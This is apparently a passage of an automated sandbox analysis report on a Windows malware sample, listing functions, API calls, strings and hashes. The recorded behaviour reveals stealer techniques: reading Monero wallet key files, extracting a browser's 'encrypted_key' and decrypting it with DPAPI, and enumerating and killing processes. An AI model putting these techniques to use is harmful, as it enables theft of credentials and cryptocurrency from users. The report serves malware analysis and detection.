                                      • Part of subcall function 00E1A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                      • Part of subcall function 00E1A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                      • Part of subcall function 00E1A110: LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                      • Part of subcall function 00E1A110: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                      • Part of subcall function 00E1A110: LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                      • Part of subcall function 00E1A110: CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                      • Part of subcall function 00E28FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28FE2
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00E31678,00E30D93), ref: 00E1F64C
                                    • lstrlen.KERNEL32(00000000), ref: 00E1F66B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
                                    • String ID: ^userContextId=4294967295$moz-extension+++
                                    • API String ID: 998311485-3310892237
                                    • Opcode ID: 8367bf9739a61ad69fcce4d4d6f4dd0bbe557cb05588892633ee7b62c907b349
                                    • Instruction ID: 9f2bfd2d91f9c73a7666ddc3ff0a483bf4de027cf998683a801bf60e424c849b
                                    • Opcode Fuzzy Hash: 8367bf9739a61ad69fcce4d4d6f4dd0bbe557cb05588892633ee7b62c907b349
                                    • Instruction Fuzzy Hash: 5C510F72D102189BCB04FBA4EDA6DED77B9AF54300F489578F81777191EE346A08CB62
                                    Function 00E237B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$lstrlen
                                    • String ID:
                                    • API String ID: 367037083-0
                                    • Opcode ID: 3335f6404402419e51eb03a8202e6beb49d4f7f42884dd2c7aaa46cddfd55128
                                    • Instruction ID: d5e0f57a8f3beedd62c2c68f4a80879554b185ecdcad615f5abfcaf567bed8f9
                                    • Opcode Fuzzy Hash: 3335f6404402419e51eb03a8202e6beb49d4f7f42884dd2c7aaa46cddfd55128
                                    • Instruction Fuzzy Hash: 8A416371E002199FCB18EFB4E855AEEB7B8AF44304F049028F41677185EB749A45CFA1
                                    Function 00E1A430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E1A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                      • Part of subcall function 00E1A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                      • Part of subcall function 00E1A110: LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                      • Part of subcall function 00E1A110: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                      • Part of subcall function 00E1A110: LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                      • Part of subcall function 00E1A110: CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                      • Part of subcall function 00E28FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28FE2
                                    • StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E1A489
                                      • Part of subcall function 00E1A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A23F
                                      • Part of subcall function 00E1A210: LocalAlloc.KERNEL32(00000040,?,?,?,00E14F3E,00000000,?), ref: 00E1A251
                                      • Part of subcall function 00E1A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A27A
                                      • Part of subcall function 00E1A210: LocalFree.KERNEL32(?,?,?,?,00E14F3E,00000000,?), ref: 00E1A28F
                                      • Part of subcall function 00E1A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E1A2D4
                                      • Part of subcall function 00E1A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00E1A2F3
                                      • Part of subcall function 00E1A2B0: LocalFree.KERNEL32(?), ref: 00E1A323
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
                                    • String ID: $"encrypted_key":"$DPAPI
                                    • API String ID: 2100535398-738592651
                                    • Opcode ID: d6a990ad48f3a063abdf963972e9522edde352f075d02cbedf25dd221e2ddb07
                                    • Instruction ID: c0735c6978aa2e3bae77238914ae9d1d60950b6c09f9c55348a089e5e0544771
                                    • Opcode Fuzzy Hash: d6a990ad48f3a063abdf963972e9522edde352f075d02cbedf25dd221e2ddb07
                                    • Instruction Fuzzy Hash: 4C3152B6D01208ABCF04DB94ED45AFFB7B9AF58344F485568E901B3241E7359A44CBA2
                                    Function 00E29660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON
                                    Download Yara Rule
                                    APIs
                                    • memset.MSVCRT ref: 00E2967B
                                      • Part of subcall function 00E28EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00E296AE,00000000), ref: 00E28EEB
                                      • Part of subcall function 00E28EE0: RtlAllocateHeap.NTDLL(00000000), ref: 00E28EF2
                                      • Part of subcall function 00E28EE0: wsprintfW.USER32 ref: 00E28F08
                                    • OpenProcess.KERNEL32(00001001,00000000,?), ref: 00E2973B
                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 00E29759
                                    • CloseHandle.KERNEL32(00000000), ref: 00E29766
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
                                    • String ID:
                                    • API String ID: 3729781310-0
                                    • Opcode ID: 6d1916fd2917012e8226bc563c82f352a288eaa4c90b5742ae35c83a2b15084c
                                    • Instruction ID: f40483a87396a2254ffa41ac8b8c7b56e1dd5426d52c35776142d12037a04ae8
                                    • Opcode Fuzzy Hash: 6d1916fd2917012e8226bc563c82f352a288eaa4c90b5742ae35c83a2b15084c
                                    • Instruction Fuzzy Hash: 3A317C71A00218EBDB24DFE0ED49BEDB3B8BB44700F105459F506AF188DB78AA48CB91
                                    Function 00E28810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E305BF), ref: 00E2885A
                                    • Process32First.KERNEL32(?,00000128), ref: 00E2886E
                                    • Process32Next.KERNEL32(?,00000128), ref: 00E28883
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • CloseHandle.KERNEL32(?), ref: 00E288F1
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
                                    • String ID:
                                    • API String ID: 1066202413-0
                                    • Opcode ID: 38815df0af89d54d3b434743d492db40f311a1b2a9b009abb9823463059dab31
                                    • Instruction ID: 88eed0d9c8d4584ffaaa926648a2907a0f92150e17fddb49cc88d8fd470c47ab
                                    • Opcode Fuzzy Hash: 38815df0af89d54d3b434743d492db40f311a1b2a9b009abb9823463059dab31
                                    • Instruction Fuzzy Hash: A5318D71901228ABCB24DF95ED52FEEB7B8FF04700F5441A9F10AB6190DB306A44CFA1
                                    Function 00E8FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E8FE13
                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E8FE2C
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Value___vcrt_
                                    • String ID:
                                    • API String ID: 1426506684-0
                                    • Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                    • Instruction ID: 2f929bb7a391d3ff25ecba40bd61cca947171eb8c62abbea80c78b1bb460ea31
                                    • Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                    • Instruction Fuzzy Hash: 9C01D432609726EEFE3436745CC99A73694EB017B97305379F21EA01F2EF924C419240
                                    Function 00E27B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E30DE8,00000000,?), ref: 00E27B40
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E27B47
                                    • GetLocalTime.KERNEL32(?,?,?,?,?,00E30DE8,00000000,?), ref: 00E27B54
                                    • wsprintfA.USER32 ref: 00E27B83
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateLocalProcessTimewsprintf
                                    • String ID:
                                    • API String ID: 377395780-0
                                    • Opcode ID: 3bbfe9f50bbe0c81566e2444b8797d85135c280d449529b6bfda5846787fd469
                                    • Instruction ID: ed519855a73d7948463fd34376229ab2b41c3f45d7695535ac83daebb2b41110
                                    • Opcode Fuzzy Hash: 3bbfe9f50bbe0c81566e2444b8797d85135c280d449529b6bfda5846787fd469
                                    • Instruction Fuzzy Hash: BE113CB2904218ABCB24DFCAED45BBEBBF8FB4CB11F10411AF645A6284D3395940C7B0
                                    Function 00E2CA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • __getptd.LIBCMT ref: 00E2CA7E
                                      • Part of subcall function 00E2C2A0: __amsg_exit.LIBCMT ref: 00E2C2B0
                                    • __getptd.LIBCMT ref: 00E2CA95
                                    • __amsg_exit.LIBCMT ref: 00E2CAA3
                                    • __updatetlocinfoEx_nolock.LIBCMT ref: 00E2CAC7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
                                    • String ID:
                                    • API String ID: 300741435-0
                                    • Opcode ID: 376c6e0c232175c7f904ec08b183ddc85161dccb9f1757fe6c750e8c0c0d4124
                                    • Instruction ID: b5039f36480d9c156ceaabb47e625f4c36b7107346e14b6c9d8bc05ed6827b79
                                    • Opcode Fuzzy Hash: 376c6e0c232175c7f904ec08b183ddc85161dccb9f1757fe6c750e8c0c0d4124
                                    • Instruction Fuzzy Hash: A1F06773944738DBD620FBA8F806B4E37E0AF00724F30314AE507B62E2CB6459808B96
                                    Function 00E904D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Catch
                                    • String ID: MOC$RCC
                                    • API String ID: 78271584-2084237596
                                    • Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                    • Instruction ID: dd0f7aa9a762ebe7e25aebd1cfc48575c1d8e8952f4f583fd639b8bf0d9f6191
                                    • Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                    • Instruction Fuzzy Hash: 15415871900209EFCF25DF98DC81AAEBBB5EF48304F599199FA0876251D3359A90DF50
                                    Function 00E936CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
